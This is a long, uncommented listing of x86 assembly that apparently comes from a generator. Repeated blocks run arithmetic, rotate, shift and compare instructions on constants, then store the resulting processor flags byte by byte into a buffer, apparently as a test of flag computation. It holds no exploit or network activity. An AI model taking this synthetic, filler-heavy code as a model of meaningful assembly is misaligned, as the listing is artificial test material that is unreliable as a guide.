mov eax, 0xcc0a129a
mov ecx, 0x54752c11
ror eax, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x484f9a5a
rol ebx, 1
mov edx, 0x9c83833
inc edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x6be30240
rol ebx, 1
mov eax, 0x3155a786
mov ecx, 0x240cf01f
ror eax, cl
mov eax, 0x8d41f0f4
rol eax, 1
mov ebx, 0xf7b3eebf
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x198a36eb
mov ecx, 0x67f53864
ror edx, cl
mov eax, 0x7cd700a8
aaa
mov ebx, 0xf9ebf829
shl ebx, 0x44
mov eax, 0xd1c0b15f
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x604a599a
aaa
mov ebx, 0x2e4c4fcf
cmp ebx, 0xe95361a
mov eax, 0xf87638ae
aas
mov ebx, 0xc5ed503b
mov ecx, 0x4c04e102
ror ebx, cl
mov edx, 0x31327f1c
mov ecx, 0xf53d0ce1
rol edx, cl
mov ebx, 0x39bff395
cmp ebx, 0xf88c56db
lahf
mov byte [edi], ah
inc edi
mov eax, 0x8cb3cfd
cmp eax, 0xc8a8686c
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x9cc69abc
mov ecx, 0x42a18be1
sar ebx, cl
mov ebx, 0xea0c9450
dec ebx
mov ebx, 0xd6368aac
mov ecx, 0xbbd15c51
ror ebx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0xd110f96f
aas
mov eax, 0xe51a39ad
rol eax, 1
mov eax, 0xa79695b3
add eax, 0x3f172e92
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x3a9c93f0
mov ecx, 0xfa0f42c7
ror eax, cl
mov eax, 0x282b4914
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x1cd28eff
mov ecx, 0xcb5da654
ror ebx, cl
mov ebx, 0x742a2565
mov ecx, 0x915dd7b
rol ebx, cl
mov eax, 0x8b0050ff
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0xbc718379
rol eax, 1
mov edx, 0x5aea3740
inc edx
mov ebx, 0x5d42ad9d
mov ecx, 0x78db0db
rol ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x3fbca598
aas
mov eax, 0xa6c1fe1a
mov ecx, 0x9ba8a387
ror eax, cl
mov eax, 0x37c03a38
mov ecx, 0xe5435992
ror eax, cl
mov ebx, 0x36971e20
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x618ff82d
mov ecx, 0x68ee0144
rol edx, cl
mov edx, 0x2b49906
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xcc7fb9ef
mov ecx, 0xe99e5292
ror edx, cl
mov ecx, 0xcc77e2cc
sub ecx, 0x80e45289
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x3068cb95
cmp ebx, 0x7c81fbb5
mov eax, 0x4837d5df
mov ecx, 0xa136a698
rol eax, cl
mov edx, 0xf759f516
mov ecx, 0xefa040e6
shl edx, cl
mov eax, 0xbcea61b
inc eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x99e87278
aas
mov ebx, 0x6744c31
dec ebx
mov edx, 0xcf5eaeaf
mov ecx, 0xc0998a1d
rol edx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xcc0edf9c
mov ecx, 0x562f5cc3
cmp eax, ecx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x383bc604
shl eax, 0x62
mov ebx, 0xae7aa520
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x595d0e24
rol edx, 1
mov ecx, 0xef7eadd1
add ecx, 0x8cdf32cf
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xbcad210a
rol ebx, 1
mov eax, 0x2b1dee01
shl eax, 1
mov edx, 0xd1b6b630
dec edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x1466026f
mov ecx, 0xf3a78e66
add eax, ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x716fd71d
dec ebx
mov ebx, 0xd668d364
mov ecx, 0xb58b9539
rol ebx, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xbb56ac1a
shl edx, 0x21
mov ecx, 0xe9f029cf
inc ecx
mov edx, 0xd525edf0
mov ecx, 0xb51c5de1
rol edx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xaee5dc92
mov ecx, 0xdddcf25f
sar eax, cl
mov edx, 0x3a27e870
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x2abed2cc
dec eax
mov eax, 0x34cac39c
mov ecx, 0xe8357f87
ror eax, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0xb0887375
add ebx, 0xca211615
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xeed50a3c
mov edx, 0xc6eaba74
sub eax, edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x37453358
sal eax, 1
mov eax, 0x203eecc0
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x1e315fb8
mov ecx, 0x8ad8233b
rol ebx, cl
mov ebx, 0xdcf0ba34
rol ebx, 1
mov ebx, 0x5a08a593
mov ecx, 0x83ab1307
ror ebx, cl
mov edx, 0x8e572f41
mov ecx, 0xabd68ddd
ror edx, cl
mov ebx, 0x6599548a
cmp ebx, 0x105e9738
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x4b1e0324
inc ebx
mov ebx, 0xc58238ae
mov ecx, 0xe8cd5fab
rol ebx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x82daf8eb
rol ebx, 1
mov ecx, 0x999a26cc
sub ecx, 0x82cbc306
mov eax, 0x80a7cf78
aas
mov edx, 0xc1f2273c
inc edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x9d4ae4ce
rol eax, 1
mov eax, 0x2c9b6ae0
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xcd4e8cc2
mov edx, 0x5e6fe1d3
add ebx, edx
mov eax, 0x4f689866
aaa
mov eax, 0xfa144304
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xc15f0cfe
mov ecx, 0x25fe0823
ror edx, cl
mov eax, 0x7af17444
aas
mov edx, 0xaa629120
mov ecx, 0xd52d7794
rol edx, cl
mov eax, 0x23dc3704
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xe1e0bd04
mov ecx, 0x63e3859d
rol edx, cl
mov eax, 0xf315caa4
mov edx, 0x162ae18a
cmp eax, edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x439355ae
mov ecx, 0x4082417b
rol ebx, cl
mov edx, 0x52a96915
mov ebx, 0xe02e14f9
sub edx, ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xc1c70319
mov ecx, 0xc706e551
ror eax, cl
mov edx, 0x2bdbe895
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0x3f42d426
cmp ecx, 0x3b53aa9b
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x5961ec9d
mov ecx, 0xf4c88cb0
ror eax, cl
mov eax, 0x5d3536a0
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xa30ff4f0
dec edx
mov ebx, 0xcf21457b
mov ecx, 0xa9886a4c
ror ebx, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x415919fe
mov ecx, 0x21a09b15
ror edx, cl
mov eax, 0xeb1bf61d
aas
mov ebx, 0x5683fe7b
cmp ebx, 0xf0001b31
mov eax, 0xbf18fe9d
aas
mov edx, 0x22e2061f
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xd85c8b7a
aaa
mov ebx, 0xd206ef32
mov ecx, 0x4e15ca6
ror ebx, cl
mov eax, 0xb1bf4319
mov ecx, 0x108c5ed3
sub eax, ecx
mov eax, 0xe851eea8
aas
mov ebx, 0x4f9a90c0
inc ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0xf0b56ce0
mov ecx, 0xc4eca6f9
shl ebx, cl
mov eax, 0xfbfe68ae
mov edx, 0xdf5f47bc
add eax, edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x964418ce
rol edx, 1
mov eax, 0xb7551c80
neg eax
mov edx, 0x202bd722
mov ecx, 0xd07a6988
ror edx, cl
mov edx, 0x6a1be18f
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x29c94f84
mov eax, 0x38ce7a77
add edx, eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xe6fe8846
rol edx, 1
mov edx, 0x3ff1818a
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xbaeed79
rol eax, 1
mov ecx, 0x34bab24e
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x7a222c19
mov ecx, 0xbeda434
ror ebx, cl
mov eax, 0x20c9171f
inc eax
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x31e84687
mov edx, 0x2001ba35
cmp ecx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x5c7e90e7
dec eax
mov ebx, 0x7d56bf48
rol ebx, 1
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xd68c2108
mov edx, 0x31d53e6a
sub eax, edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xb04238ac
mov ecx, 0xc68d9a17
rol ebx, cl
mov ebx, 0x7ecbace7
mov ecx, 0x59a0fe4
rol ebx, cl
mov ebx, 0x2ddd3e30
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x614a16d
mov edx, 0xdebdbabd
sub ebx, edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xedc53a83
mov ecx, 0x4c3c2725
rol eax, cl
mov ebx, 0x4b72205e
cmp ebx, 0xbc3cf4f
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x94fc349f
mov ecx, 0xc1ef2f4c
rol ebx, cl
mov eax, 0xa9a6e988
mov ecx, 0xf7018013
ror eax, cl
mov ebx, 0x27dbbf6f
add ebx, 0xe278ceda
lahf
mov byte [edi], ah
inc edi
mov eax, 0x8890ac33
rol eax, 1
mov eax, 0xe854bdd4
mov ecx, 0x6ba74f70
ror eax, cl
mov ebx, 0x68c27e40
dec ebx
mov eax, 0xef3c5f16
mov ecx, 0x1d2f387c
ror eax, cl
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x86729e88
mov ecx, 0x577d0021
ror eax, cl
mov eax, 0x7004a71f
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xdf0f506f
mov ecx, 0x6c6e8e34
rol edx, cl
mov ebx, 0xeda0c0a3
mov ecx, 0x46a3f0e6
rol ebx, cl
mov edx, 0xb18c1d0
dec edx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xa5a9f501
sar ebx, 0x51
mov ecx, 0x2c89824f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xaca8a106
mov ecx, 0xfccb99ff
ror edx, cl
mov ecx, 0xda380112
sub ecx, 0x2a1132d4
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x7a26c574
mov ecx, 0xb9816902
shl ebx, cl
mov ebx, 0x980dbc5b
sub ebx, 0xe3c20261
mov eax, 0x7a0e416e
aas
mov eax, 0x22df9592
cmp eax, 0xfb2ccd52
mov eax, 0x9e186e8a
aas
mov eax, 0x7fa82e31
mov ecx, 0x3bcb1696
ror eax, cl
mov eax, 0x511615e8
sub eax, 0x6a9769a3
mov eax, 0x1933cdaa
aas
mov ebx, 0x2a5f8642
mov ecx, 0x92fea21e
ror ebx, cl
mov edx, 0x353c233e
rol edx, 1
mov eax, 0xb9197cb2
mov ecx, 0xa0603ff5
sar eax, cl
mov edx, 0x36c695e1
cmp edx, 0xd68712b8
lahf
mov byte [edi], ah
inc edi
mov edx, 0xf7f955c
mov ecx, 0x589eb0ca
ror edx, cl
mov edx, 0x58115012
inc edx
mov eax, 0x5b02487f
mov ecx, 0x644d1fb3
rol eax, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ecx, 0x4f7c69a4
inc ecx
mov eax, 0xe76882a4
mov ecx, 0x6a8bd21b
rol eax, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x89c55a9d
shl ebx, 1
mov eax, 0xee2ad25a
mov ecx, 0x2b159b52
ror eax, cl
mov ebx, 0xa7cd925d
mov ecx, 0x9648d99
ror ebx, cl
mov ecx, 0x57d0598f
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x41c6f999
mov ecx, 0x5ba1c165
shl ebx, cl
mov eax, 0x602055b2
inc eax
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xa39b06f3
rol eax, 1
mov eax, 0xd6021791
mov ecx, 0xeb4dabe6
ror eax, cl
mov edx, 0xc7468ff9
mov ecx, 0x87212986
sal edx, cl
mov edx, 0x1cb89b3a
inc edx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xa2db2d15
mov edx, 0x41785a37
add ecx, edx
mov eax, 0x925321d3
aas
mov eax, 0x279a0c6f
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xf7549709
aas
mov ebx, 0xa95efc47
mov ecx, 0xc2991624
sal ebx, cl
mov eax, 0x90ce8bb0
neg eax
mov edx, 0xd480a87e
mov eax, 0xaab93dbf
cmp edx, eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x186a6356
sub ebx, 0xe15b5314
mov eax, 0x383798b6
aaa
mov ecx, 0x3b0d5538
dec ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xc13c3c9c
mov ecx, 0xf72f380d
rol edx, cl
mov ebx, 0x9d2795cf
mov ecx, 0x73e67fd2
rol ebx, cl
mov eax, 0x3ccd7ca6
shl eax, 2
mov ebx, 0x9fc4914
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xee000595
shl edx, 0x18
mov ebx, 0xee8c2abf
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x9eaf0637
mov ecx, 0xe68edd8a
shl edx, cl
mov edx, 0x60753800
dec edx
mov eax, 0x292d3931
rol eax, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x67ba5135
inc eax
mov edx, 0x458613c2
mov ecx, 0x1661efc5
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov edx, 0x309924c1
rol edx, 1
mov ecx, 0xf0f84be1
add ecx, 0x59d17e6f
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x487d7671
cmp eax, 0x2372c000
mov eax, 0x191fc85d
aas
mov eax, 0x39ef0747
mov ecx, 0xe6ce4d76
rol eax, cl
mov ebx, 0x7cdf5ae0
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x28d72e57
rol eax, 1
mov ebx, 0xc0f22beb
mov ecx, 0xebfd257a
rol ebx, cl
mov eax, 0x4af90c8f
inc eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xa58bdb6d
rol edx, 1
mov eax, 0x302dcda4
sar eax, 0xfc
mov ebx, 0xa229e940
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xa70e2e71
sub eax, 0x952f2a1e
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0xefbecb1b
mov ebx, 0x281fa8e5
add ecx, ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x8804af9d
rol eax, 1
mov eax, 0xca835454
mov ecx, 0xcd323a7c
ror eax, cl
mov ebx, 0x9edb58df
inc ebx
mov eax, 0x4db7002f
mov ecx, 0x4cb6c6b7
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x939a4966
mov ecx, 0x4045f1b8
ror edx, cl
mov ebx, 0x45259a6f
inc ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x5b52bd30
inc edx
mov ebx, 0x2aa73b0
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0xc6136f76
rol edx, 1
mov edx, 0x217c07a0
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xfffec5e5
shl eax, 0xc1
mov edx, 0x5e5bb900
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xbbc29c1d
mov ecx, 0xd00deabf
rol edx, cl
mov ebx, 0x14e6d638
add ebx, 0x2a27dc23
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x901ecbee
mov ecx, 0xb0ff99b0
sub ebx, ecx
mov eax, 0xad23a6f0
neg eax
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x1daa92c2
rol eax, 1
mov eax, 0xbce4151a
rol eax, 1
mov edx, 0xeafec00d
cmp edx, 0xa25f41fa
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xd34bca75
aas
mov ebx, 0x3401751f
inc ebx
mov ebx, 0xf3d3e4a
mov ecx, 0xa89444c1
ror ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x68aa494
mov ecx, 0xe8f5d298
rol eax, cl
mov edx, 0x5ec480ea
dec edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xe52ec8b9
aas
mov ecx, 0x22eb8659
dec ecx
mov ebx, 0xf4d185
mov ecx, 0x2c74625
rol ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x66c054da
sal eax, 1
mov ebx, 0x205ab510
mov ecx, 0x8054691
sar ebx, cl
mov ebx, 0xb15fc72f
inc ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0xa6d6d6c8
sub ecx, 0x6d57f5c8
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x53dcc8e6
mov ecx, 0xb04fd04d
rol edx, cl
mov eax, 0x40462a
cmp eax, 0xcb791d75
mov ecx, 0xe55cc592
add ecx, 0xe065a295
mov ebx, 0xa3bb79bd
mov ecx, 0xe84a45b8
rol ebx, cl
mov ecx, 0xf2f0d431
add ecx, 0xc06966e9
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x8c5281f5
sal ebx, 0x69
mov edx, 0xa7cb7d0
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xc05f5300
mov ecx, 0xc0fec301
ror edx, cl
mov edx, 0xf2e3fc60
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0xd11edaa7
cmp eax, 0x5dff965f
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xdf7986d
mov ecx, 0xe5f6f4ce
ror edx, cl
mov ebx, 0x4e481f00
sal ebx, 1
mov ecx, 0xb0abb8b0
sub ecx, 0x83088851
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0x594c2470
mov ecx, 0xa57faeaf
ror ebx, cl
mov eax, 0x4213f8a0
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xe08bdabb
mov ecx, 0xd65a3e29
ror ebx, cl
mov edx, 0xcf5fd56d
mov ecx, 0xabfe2bcd
ror edx, cl
mov edx, 0x4e4f914f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xe627956f
inc ebx
mov edx, 0x2f22fa12
mov ecx, 0x74ed027a
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x829cb30b
aaa
mov ebx, 0x82184eb1
rol ebx, 1
mov edx, 0x2b5c6cd3
cmp edx, 0xae659247
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0xb884ba4d
mov ecx, 0x9e97e4e6
ror ebx, cl
mov ecx, 0x6fab07a2
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x6c2923d7
shl ebx, 1
mov ebx, 0x2f3231a8
mov edx, 0x848395a9
add ebx, edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x947322c4
mov edx, 0x6f30b6e0
cmp eax, edx
mov eax, 0x9565bd9a
aaa
mov eax, 0xb94a2742
sal eax, 1
mov edx, 0x5c9eee8f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x4cb27ef7
mov ebx, 0x1403ec56
sub ecx, ebx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ecx, 0x4c441974
inc ecx
mov ebx, 0xe8b03a8b
rol ebx, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x1dc868c8
rol ebx, 1
mov eax, 0xef9da081
aaa
mov eax, 0x585b848b
sub eax, 0x88f855a2
mov eax, 0x3ca4edf3
aaa
mov eax, 0x2028c546
dec eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xfbc3b5c0
mov ecx, 0xfb7212a1
ror edx, cl
mov edx, 0x5659692f
mov ecx, 0x121e974d
add edx, ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x5af755a0
inc eax
mov eax, 0xaf93d6f5
mov ecx, 0xdc82decc
ror eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x79da73d5
mov ecx, 0xd7856115
rol eax, cl
mov eax, 0x652cdfc6
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xd9b6a40b
mov edx, 0x56b70e25
sub ebx, edx
mov edx, 0x6723839c
rol edx, 1
mov ecx, 0xbfaa116a
dec ecx
mov eax, 0x83491e47
rol eax, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov eax, 0x9f26e5f7
mov ecx, 0x52815cb7
ror eax, cl
mov edx, 0xd6d30439
mov ecx, 0x18c227f8
rol edx, cl
mov ebx, 0xc4c50cb6
mov eax, 0xfe1a4f23
sub ebx, eax
mov eax, 0x3672bd8c
aaa
mov eax, 0x57826f55
mov ecx, 0x82cd5969
ror eax, cl
mov eax, 0xeff45f
aaa
mov eax, 0xe4a6b850
rol eax, 1
mov ecx, 0x2a338c53
sub ecx, 0xb1f0acb6
lahf
mov byte [edi], ah
inc edi
mov edx, 0xc6a1fd6e
mov ecx, 0xcf08e1da
ror edx, cl
mov eax, 0x6234dbb
aas
mov ecx, 0xdaaadc90
neg ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x7a490db8
rol eax, 1
mov eax, 0x3240007f
inc eax
mov edx, 0x90354c5b
mov ecx, 0x326ca645
rol edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0xab70a1e3
mov ecx, 0x19b3dd9a
ror eax, cl
mov ecx, 0xe9cad30
dec ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x4830bc6a
shl ebx, 0x5a
mov eax, 0x38787410
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x1d38846f
inc edx
mov eax, 0x4d4da494
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov eax, 0x23bd17e0
sar eax, 0x49
mov ecx, 0x48dc582f
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xec21987
mov ebx, 0x94d3b10c
sub ecx, ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x557d3dbe
sar eax, 0x5e
mov edx, 0xc5e9040f
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x3b0b0a1f
inc ebx
mov eax, 0x832d12
mov ecx, 0x1b3273b5
rol eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xde8a6250
neg eax
mov eax, 0xd7713700
aas
mov eax, 0x1073d344
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0x7ac7bbb2
inc ecx
mov ebx, 0x928c3bf2
mov ecx, 0xfbbf5edd
rol ebx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xa7248be6
dec edx
mov ebx, 0xea8e8734
mov ecx, 0x8a896c46
rol ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x1c19428
rol ebx, 1
mov ecx, 0x215423d4
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xe833d938
sar eax, 0xed
mov ecx, 0x16d99887
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x8d765f77
mov ecx, 0xc81153c3
rol edx, cl
mov edx, 0x68499a4e
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xd7810c15
mov ecx, 0x17687822
ror eax, cl
mov ebx, 0x32622630
dec ebx
mov eax, 0x12ae92e3
mov ecx, 0xbf29a5f1
ror eax, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x2a61f431
rol edx, 1
mov ecx, 0xb9d9df5
dec ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x1155985b
mov ecx, 0x840c3dbb
sar eax, cl
mov edx, 0x6dd19008
dec edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x4b1011b7
rol edx, 1
mov ebx, 0x6d4190af
mov ecx, 0x6c287cf1
shl ebx, cl
mov edx, 0x8a2bca60
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x396427ad
shl edx, 1
mov edx, 0x17a798a8
mov eax, 0x2454e8f1
cmp edx, eax
mov eax, 0x156f77b2
mov ecx, 0x4e5e9e
sar eax, cl
mov ebx, 0x5ce08e60
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x84d16270
mov ecx, 0xe7f865d0
ror edx, cl
mov eax, 0x52d3254f
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xfad0cb5e
sar eax, 0x7d
mov edx, 0x21304c00
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x28a8e107
cmp eax, 0xafc1185f
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x129b8b2f
inc eax
mov eax, 0x3d77f862
mov ecx, 0x237636a5
rol eax, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x2b4eb929
mov ecx, 0x5649a3d4
ror ebx, cl
mov edx, 0xf2e5d0b3
mov ecx, 0x61bab2be
sub edx, ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xfe006f7
mov ecx, 0x89e34063
ror eax, cl
mov ecx, 0x3110f15e
mov eax, 0xf4097a6d
cmp ecx, eax
mov eax, 0x521b0803
mov ecx, 0xd42aa1a8
shl eax, cl
mov eax, 0x83e1866c
mov ecx, 0x39481df0
ror eax, cl
mov edx, 0xd9632ad8
rol edx, 1
mov ebx, 0x32d58aff
mov ecx, 0x3b8cd8bd
rol ebx, cl
mov eax, 0xe153a262
cmp eax, 0x6a909df3
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xfba8a1a1
rol ebx, 1
mov edx, 0x729f7c76
mov ecx, 0xd43e7951
ror edx, cl
mov ebx, 0x4a2b27c
mov ecx, 0x306d34b8
ror ebx, cl
mov edx, 0x544c175f
inc edx
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0xac77139a
mov ecx, 0xee76f8cd
ror edx, cl
mov eax, 0x687c2386
mov ecx, 0xb36f2c04
rol eax, cl
mov eax, 0x1ab9962b
mov ecx, 0x4801ab2
sar eax, cl
mov ebx, 0x954f7380
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x2837778d
sar eax, 0xd2
mov edx, 0x314037c0
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x725d64f7
cmp ebx, 0x37d27322
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xef2a7170
mov ecx, 0x90154aeb
ror eax, cl
mov edx, 0xf6390da5
mov ebx, 0x647e49c5
sub edx, ebx
mov eax, 0x376db490
dec eax
mov ebx, 0x108fdde7
rol ebx, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x54a4aa25
shl ebx, 1
mov edx, 0xe209df81
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x5ecaba76
cmp edx, 0x183b0f84
lahf
xchg al, ah
stosb byte es:[edi], al
mov ecx, 0x862b49a7
mov edx, 0x6a881777
add ecx, edx
mov eax, 0x18d76596
mov ecx, 0xd056aedb
rol eax, cl
mov eax, 0x4bcfefb5
inc eax
mov edx, 0xd5ebeae4
rol edx, 1
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0xaa782a2c
mov ecx, 0x5551e1c5
cmp edx, ecx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0xddaf5ca4
rol ebx, 1
mov edx, 0x68b4103f
inc edx
mov eax, 0x29d9d76d
mov ecx, 0x5c202bc4
rol eax, cl
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x9982381
mov ecx, 0xf77bb106
shl edx, cl
mov edx, 0x1962ab84
inc edx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xb56baa40
neg edx
mov eax, 0x3d47f933
aas
mov eax, 0x28e08ec3
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x9736c8cd
mov ecx, 0xe0d16968
rol eax, cl
mov ebx, 0xde154e56
mov ecx, 0x8bcca5c7
ror ebx, cl
mov ebx, 0xbd788ca0
shl ebx, 1
mov edx, 0x88bcf6df
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ecx, 0x96bbd4fd
mov eax, 0x57d80388
cmp ecx, eax
mov eax, 0x22337c8a
aaa
mov ebx, 0x4f76d990
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xa06fb392
rol edx, 1
mov edx, 0xd60ce860
rol edx, 1
mov eax, 0x94ca18af
inc eax
pushfd
pop ecx
